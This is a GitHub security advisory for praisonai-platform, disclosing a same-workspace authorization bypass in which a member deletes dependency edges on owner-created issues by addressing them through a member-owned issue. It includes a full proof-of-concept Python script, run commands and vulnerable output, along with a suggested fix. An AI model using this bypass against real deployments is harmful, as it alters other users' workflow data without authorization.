{"id":"GHSA-mxmx-rh57-jx58","summary":"PraisonAI: Platform members can delete owner issue dependencies through member-owned related issues","details":"# Platform members can delete owner issue dependencies through member-owned related issues\n\n## Summary\n\n`praisonai-platform` issue dependency deletion can be authorized against the wrong side of a dependency edge. A workspace member cannot delete a dependency through the owner-created issue endpoint, but can delete the same dependency through a member-owned related issue endpoint because the route accepts either endpoint and checks delete permission only against the caller-selected URL issue.\n\n## Technical Details\n\nThe affected boundary is the difference between ordinary workspace membership and owner/admin authority over destructive changes to owner-created issue workflow state. `src/praisonai-platform/praisonai_platform/api/routes/dependencies.py` defines `DELETE /workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}`. The route first verifies that the URL `issue_id` is in the workspace, loads the dependency by `dep_id`, and accepts the dependency when either `dep.issue_id == issue_id` or `dep.depends_on_issue_id == issue_id`. It then calls `require_delete_permission(workspace_id, user, session, resource_owner_id=issue.creator_id)` for the URL issue only.\n\n`src/praisonai-platform/praisonai_platform/api/deps.py` implements `require_delete_permission` as \"admin/owner or resource owner\". That helper is appropriate when the protected resource has a single owner, but the dependency route lets the caller choose either side of the relationship before the helper runs. If an owner-created issue is related to a member-owned issue, the member can select the member-owned issue in the URL, satisfy `resource_owner_id == user.id`, and delete the dependency edge that is also returned from the owner-created issue's dependency list.\n\nThe same route family also lets any workspace member create dependency edges on owner-created issues with only `require_workspace_member`. `POST /workspaces/{workspace_id}/issues/{issue_id}/dependencies/` verifies that both issues are in the workspace, then calls `DependencyService.create(issue_id, body.depends_on_issue_id, body.type)` without checking owner/admin authority over the primary issue. This report focuses on the stronger delete-guard bypass because the current owner issue endpoint returns `403` while the related member issue endpoint deletes the same edge with `204`.\n\nThe intended boundary is visible from the local controls: a member deleting an owner-only dependency through an owner issue endpoint returns `403`, an owner deleting the same dependency returns `204`, and a non-member creating a dependency returns `403`. The vulnerability is the endpoint-selection path where the member uses a related member-owned issue as the URL issue to delete an owner-side dependency edge.\n\n## PoV\n\nthe PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and a non-member, creates one owner-owned issue and one member-owned issue in the same workspace, creates a dependency from the owner issue to the member issue, then exercises the dependency delete route through both issue endpoints.\n\nEssential excerpt:\n\n```python\ndep_resp = await client.post(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n    json={\"depends_on_issue_id\": member_issue_id, \"type\": \"blocks\"},\n    headers=owner_headers,\n)\ndep_id = dep_resp.json()[\"id\"]\n\nmember_delete_owner_endpoint = await client.delete(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/{dep_id}\",\n    headers=member_headers,\n)\n\nmember_delete_member_endpoint = await client.delete(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{dep_id}\",\n    headers=member_headers,\n)\n\nowner_list_after_member_delete = await client.get(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n    headers=owner_headers,\n)\n```\n\nThe full PoV script is included in the appendix below as `pov_platform_dependency_delete_bypass.py`.\n\n## PoC\n\nCurrent head tested:\n\n```text\n846568c7a5d8ce9e71e56e4c213f027c04909753\n2026-06-17 20:13:04 +0100\nchore: clean up redundant 'persist-credentials' entries in GitHub workflows\n```\n\nRun against a local checkout of current head:\n\n```sh\nuv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]\u003e=2.10.0' --with PyJWT --with 'passlib[bcrypt]\u003e=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_dependency_delete_bypass.py --repo ./PraisonAI --json\n```\n\nDecisive current-head output:\n\n```json\n{\n  \"checks\": {\n    \"member_create_dependency_on_owner_issue\": 201,\n    \"member_delete_member_issue_endpoint\": 204,\n    \"member_delete_owner_issue_endpoint\": 403,\n    \"member_delete_owner_only_dependency\": 403,\n    \"non_member_create_dependency\": 403,\n    \"owner_delete_owner_only_dependency\": 204,\n    \"owner_dependency_count_after_member_delete\": 0\n  },\n  \"source\": \"git:846568c7a5d8ce9e71e56e4c213f027c04909753\",\n  \"vulnerable\": true\n}\n```\n\nThe key vulnerable sequence is `member_delete_owner_issue_endpoint == 403`, followed by `member_delete_member_issue_endpoint == 204` for the same dependency id, followed by `owner_dependency_count_after_member_delete == 0`.\n\nRun against the latest PyPI package observed during testing:\n\n```sh\nuv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]\u003e=2.10.0' --with PyJWT --with 'passlib[bcrypt]\u003e=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_dependency_delete_bypass.py --json\n```\n\nDecisive latest-PyPI output:\n\n```json\n{\n  \"checks\": {\n    \"member_create_dependency_on_owner_issue\": 201,\n    \"member_delete_member_issue_endpoint\": 204,\n    \"member_delete_owner_issue_endpoint\": 403,\n    \"member_delete_owner_only_dependency\": 403,\n    \"non_member_create_dependency\": 403,\n    \"owner_delete_owner_only_dependency\": 204,\n    \"owner_dependency_count_after_member_delete\": 0\n  },\n  \"source\": \"pypi:praisonai-platform==0.1.8\",\n  \"vulnerable\": true\n}\n```\n\nVersion sweep excerpt:\n\n```text\npraisonai-platform 0.1.4: member delete through the owner issue endpoint returned 204, so the current endpoint-selection bypass is masked by broader older dependency delete behavior.\npraisonai-platform 0.1.6: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0.\npraisonai-platform 0.1.8: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0.\n```\n\n## Impact\n\nAn ordinary workspace member can remove dependency edges from owner-created issues whenever the dependency also references a member-owned issue. This lets the member remove `blocks`, `blocked_by`, or `related` workflow state that an owner/admin expected to protect planning or execution order. The same route family also allows the member to create dependency edges on owner-created issues, so a member can both add false workflow relationships and remove owner-created relationships through endpoint selection.\n\nSuggested severity: Medium. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` (6.5). Suggested CWEs: `CWE-862` Missing Authorization and `CWE-863` Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges, does not claim confidentiality impact, and treats the consequence as workflow integrity loss rather than code execution.\n\n## Suggested Fix\n\nDefine authorization for dependency edges explicitly instead of deriving it from the caller-selected URL issue. A straightforward fix is to require delete authority on the primary `dep.issue_id` issue, regardless of which related issue endpoint was used to address the edge. A stricter fix is to require workspace admin/owner authority or sufficient authority on both related issues before deleting a dependency edge.\n\nFor creation, require owner/admin or primary-issue owner authority before creating a dependency edge on an existing issue. This prevents ordinary members from adding dependency state to owner-created issues they do not control.\n\nAdd regression tests for these cases: a member cannot delete an owner issue -\u003e member issue dependency through the owner issue endpoint; the same member also cannot delete that dependency through the member issue endpoint; owner/admin callers can delete it; non-members cannot create dependencies; members cannot create dependencies on owner-created issues unless that is an explicitly intended collaboration rule.\n\n## Affected Package/Versions\n\nAffected package: `pypi:praisonai-platform`.\n\nLatest PyPI version observed during testing: `0.1.8`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected.\n\nThe owner-side dependency delete bypass is confirmed in sampled versions `0.1.6`, `0.1.8`, and current head. In `0.1.4`, direct member dependency deletes already returned `204`, so this narrower bypass is masked by broader older delete authorization behavior.\n\nSuggested affected range for the endpoint-selection delete bypass after delete ownership checks were introduced: `pypi:praisonai-platform \u003e=0.1.6, \u003c=0.1.8`. No fixed version or fix commit was observed.\n\n## Advisory History\n\nVisible PraisonAI Platform advisories include dependency endpoint and delete ownership fixes, but the checked public advisories do not appear to cover this same same-workspace endpoint-selection delete authorization bypass on current head.\n\n`GHSA-4x6r-9v57-3gqw`, \"praisonai-platform: Dependency endpoints accept any issue_id and dep_id without workspace ownership check, cross-workspace issue linking + read + delete IDOR\", covers older cross-workspace dependency endpoint IDOR behavior in versions `\u003c= 0.1.2`. This report is distinct because the PoV uses one workspace, both issues are verified inside that workspace, and the non-member control returns `403`.\n\n`GHSA-rh39-9c67-59mh`, \"Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API\", covers broad member DELETE behavior. This report is distinct because the direct owner issue dependency delete path returns `403` in current head, `0.1.6`, and `0.1.8`; the delete succeeds only when the same dependency is addressed through the member-owned related issue endpoint.\n\n`GHSA-2fjj-qqg8-fg7x`, \"Authorization Bypass Through User-Controlled Key in praisonai-platform\", covers user-controlled `project_id` reference handling and project stats pollution. This report does not rely on project references or cross-workspace ids.\n\nOlder cross-workspace object IDOR advisories such as `GHSA-gv23-xrm3-8c62`, `GHSA-6h6v-6m7w-7vxx`, `GHSA-943m-6wx2-rc2j`, `GHSA-xwq8-frcg-77q8`, and `GHSA-7p8g-6c6g-h9w7` cover global object ID workspace-boundary failures. This report is scoped to same-workspace owner/admin authorization over dependency edge deletion.\n\n## References\n\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4x6r-9v57-3gqw`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7`\n- `https://cwe.mitre.org/data/definitions/862.html`\n- `https://cwe.mitre.org/data/definitions/863.html`\n\n## Appendix A - Longer Version Sweep\n\n```text\n=== praisonai-platform 0.1.4 ===\n\"member_delete_owner_issue_endpoint\": 204\n\"member_delete_member_issue_endpoint\": 404\n\"member_delete_owner_only_dependency\": 204\n\"non_member_create_dependency\": 403\n\"owner_delete_owner_only_dependency\": 404\n\"owner_dependency_count_after_member_delete\": 0\n\n=== praisonai-platform 0.1.6 ===\n\"member_delete_owner_issue_endpoint\": 403\n\"member_delete_member_issue_endpoint\": 204\n\"member_delete_owner_only_dependency\": 403\n\"non_member_create_dependency\": 403\n\"owner_delete_owner_only_dependency\": 204\n\"owner_dependency_count_after_member_delete\": 0\n\n=== praisonai-platform 0.1.8 ===\n\"member_delete_owner_issue_endpoint\": 403\n\"member_delete_member_issue_endpoint\": 204\n\"member_delete_owner_only_dependency\": 403\n\"non_member_create_dependency\": 403\n\"owner_delete_owner_only_dependency\": 204\n\"owner_dependency_count_after_member_delete\": 0\n```\n\n## Appendix B - Full PoV Script\n\nSave this as `pov_platform_dependency_delete_bypass.py` before running the PoC commands above.\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI Platform issue-dependency delete authorization.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport json\nimport os\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom typing import Any\n\n\ndef _load_local_source(repo: Path | None) -\u003e None:\n    if repo is None:\n        return\n    platform_root = repo / \"src\" / \"praisonai-platform\"\n    agents_root = repo / \"src\" / \"praisonai-agents\"\n    for path in (str(platform_root), str(agents_root)):\n        if path not in sys.path:\n            sys.path.insert(0, path)\n\n\nasync def _register(client: Any, email: str, name: str) -\u003e tuple[str, str]:\n    response = await client.post(\n        \"/api/v1/auth/register\",\n        json={\"email\": email, \"password\": \"Password1!\", \"name\": name},\n    )\n    if response.status_code \u003e= 400:\n        raise RuntimeError(\n            f\"register failed for {email}: {response.status_code} {response.text}\"\n        )\n    body = response.json()\n    return body[\"token\"], body[\"user\"][\"id\"]\n\n\nasync def _create_issue(\n    client: Any,\n    workspace_id: str,\n    headers: dict[str, str],\n    title: str,\n) -\u003e str:\n    response = await client.post(\n        f\"/api/v1/workspaces/{workspace_id}/issues/\",\n        json={\"title\": title, \"priority\": \"high\"},\n        headers=headers,\n    )\n    response.raise_for_status()\n    return response.json()[\"id\"]\n\n\nasync def _run(repo: Path | None) -\u003e dict[str, Any]:\n    os.environ[\"PLATFORM_JWT_SECRET\"] = \"local-poc-secret-32-bytes-minimum\"\n    _load_local_source(repo)\n\n    from httpx import ASGITransport, AsyncClient\n    from sqlalchemy.ext.asyncio import create_async_engine\n\n    from praisonai_platform.api.app import create_app\n    from praisonai_platform.db import base as base_mod\n    from praisonai_platform.db.base import Base, reset_engine\n\n    await reset_engine()\n    engine = create_async_engine(\n        \"sqlite+aiosqlite:///:memory:\",\n        echo=False,\n        connect_args={\"check_same_thread\": False},\n    )\n    base_mod._engine = engine\n    base_mod._session_factory = None\n    async with engine.begin() as conn:\n        await conn.run_sync(Base.metadata.create_all)\n\n    app = create_app()\n    transport = ASGITransport(app=app)\n    async with AsyncClient(transport=transport, base_url=\"http://local-poc\") as client:\n        owner_token, owner_id = await _register(client, \"owner@example.com\", \"Owner\")\n        member_token, member_id = await _register(client, \"member@example.com\", \"Member\")\n        outsider_token, _ = await _register(client, \"outsider@example.com\", \"Outsider\")\n\n        owner_headers = {\"Authorization\": f\"Bearer {owner_token}\"}\n        member_headers = {\"Authorization\": f\"Bearer {member_token}\"}\n        outsider_headers = {\"Authorization\": f\"Bearer {outsider_token}\"}\n\n        ws_resp = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\"name\": \"Shared Workspace\", \"slug\": \"shared-workspace\"},\n            headers=owner_headers,\n        )\n        ws_resp.raise_for_status()\n        workspace_id = ws_resp.json()[\"id\"]\n\n        add_member = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            json={\"user_id\": member_id, \"role\": \"member\"},\n            headers=owner_headers,\n        )\n        add_member.raise_for_status()\n\n        owner_issue_id = await _create_issue(\n            client, workspace_id, owner_headers, \"Owner-owned blocked issue\"\n        )\n        member_issue_id = await _create_issue(\n            client, workspace_id, member_headers, \"Member-owned related issue\"\n        )\n\n        dep_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n            json={\"depends_on_issue_id\": member_issue_id, \"type\": \"blocks\"},\n            headers=owner_headers,\n        )\n        dep_resp.raise_for_status()\n        dep_id = dep_resp.json()[\"id\"]\n\n        member_delete_owner_endpoint = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/{dep_id}\",\n            headers=member_headers,\n        )\n        member_delete_member_endpoint = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{dep_id}\",\n            headers=member_headers,\n        )\n        owner_list_after_member_delete = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n            headers=owner_headers,\n        )\n\n        owner_issue_b = await _create_issue(\n            client, workspace_id, owner_headers, \"Owner issue B\"\n        )\n        owner_issue_c = await _create_issue(\n            client, workspace_id, owner_headers, \"Owner issue C\"\n        )\n        owner_only_dep_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/\",\n            json={\"depends_on_issue_id\": owner_issue_c, \"type\": \"blocks\"},\n            headers=owner_headers,\n        )\n        owner_only_dep_resp.raise_for_status()\n        owner_only_dep_id = owner_only_dep_resp.json()[\"id\"]\n        member_delete_owner_only_dep = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/{owner_only_dep_id}\",\n            headers=member_headers,\n        )\n        owner_delete_owner_only_dep = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/{owner_only_dep_id}\",\n            headers=owner_headers,\n        )\n\n        outsider_create_dependency = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n            json={\"depends_on_issue_id\": member_issue_id, \"type\": \"blocks\"},\n            headers=outsider_headers,\n        )\n\n        member_created_dep_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n            json={\"depends_on_issue_id\": member_issue_id, \"type\": \"related\"},\n            headers=member_headers,\n        )\n        if member_created_dep_resp.status_code == 201:\n            member_created_dep_id = member_created_dep_resp.json()[\"id\"]\n            await client.delete(\n                f\"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{member_created_dep_id}\",\n                headers=owner_headers,\n            )\n\n    await engine.dispose()\n    base_mod._engine = None\n    base_mod._session_factory = None\n\n    dependencies_after_delete = (\n        owner_list_after_member_delete.json()\n        if owner_list_after_member_delete.status_code == 200\n        else None\n    )\n    checks = {\n        \"member_delete_owner_issue_endpoint\": member_delete_owner_endpoint.status_code,\n        \"member_delete_member_issue_endpoint\": member_delete_member_endpoint.status_code,\n        \"owner_dependency_count_after_member_delete\": (\n            len(dependencies_after_delete) if dependencies_after_delete is not None else None\n        ),\n        \"member_delete_owner_only_dependency\": member_delete_owner_only_dep.status_code,\n        \"owner_delete_owner_only_dependency\": owner_delete_owner_only_dep.status_code,\n        \"non_member_create_dependency\": outsider_create_dependency.status_code,\n        \"member_create_dependency_on_owner_issue\": member_created_dep_resp.status_code,\n    }\n    vulnerable = (\n        checks[\"member_delete_owner_issue_endpoint\"] == 403\n        and checks[\"member_delete_member_issue_endpoint\"] == 204\n        and checks[\"owner_dependency_count_after_member_delete\"] == 0\n        and checks[\"member_delete_owner_only_dependency\"] == 403\n        and checks[\"owner_delete_owner_only_dependency\"] == 204\n        and checks[\"non_member_create_dependency\"] == 403\n        and checks[\"member_create_dependency_on_owner_issue\"] == 201\n    )\n    return {\n        \"package\": \"praisonai-platform\",\n        \"source\": _source_id(repo),\n        \"workspace_role\": \"member\",\n        \"summary\": (\n            \"A workspace member can delete a dependency edge that protects an owner-created \"\n            \"issue by addressing the same dependency through a member-owned related issue.\"\n        ),\n        \"issue_ids\": {\n            \"owner_issue\": owner_issue_id,\n            \"member_issue\": member_issue_id,\n        },\n        \"dependency_id\": dep_id,\n        \"checks\": checks,\n        \"vulnerable\": vulnerable,\n    }\n\n\ndef _source_id(repo: Path | None) -\u003e str:\n    if repo is None:\n        import importlib.metadata\n\n        return f\"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}\"\n    rev = subprocess.check_output(\n        [\"git\", \"-C\", str(repo), \"rev-parse\", \"HEAD\"],\n        text=True,\n    ).strip()\n    return f\"git:{rev}\"\n\n\ndef main() -\u003e int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--repo\", type=Path)\n    parser.add_argument(\"--json\", action=\"store_true\")\n    args = parser.parse_args()\n\n    result = asyncio.run(_run(args.repo.resolve() if args.repo else None))\n    if args.json:\n        print(json.dumps(result, indent=2, sort_keys=True))\n    else:\n        for key, value in result[\"checks\"].items():\n            print(f\"{key}: {value}\")\n        print(f\"vulnerable: {result['vulnerable']}\")\n    return 0 if result[\"vulnerable\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n\n```","aliases":["CVE-2026-61441","CVE-2026-62179"],"modified":"2026-10-07T14:55:33.672394589Z","published":"2026-10-07T14:28:56Z","database_specific":{"github_reviewed_at":"2026-10-07T14:28:56Z","nvd_published_at":null,"cwe_ids":["CWE-862","CWE-863"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-mxmx-rh57-jx58"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"}],"affected":[{"package":{"name":"praisonai-platform","ecosystem":"PyPI","purl":"pkg:pypi/praisonai-platform"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.9"}]}],"versions":["0.1.0","0.1.1","0.1.2","0.1.3","0.1.4","0.1.6","0.1.8"],"database_specific":{"last_known_affected_version_range":"\u003c= 0.1.8","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-mxmx-rh57-jx58/GHSA-mxmx-rh57-jx58.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"}]}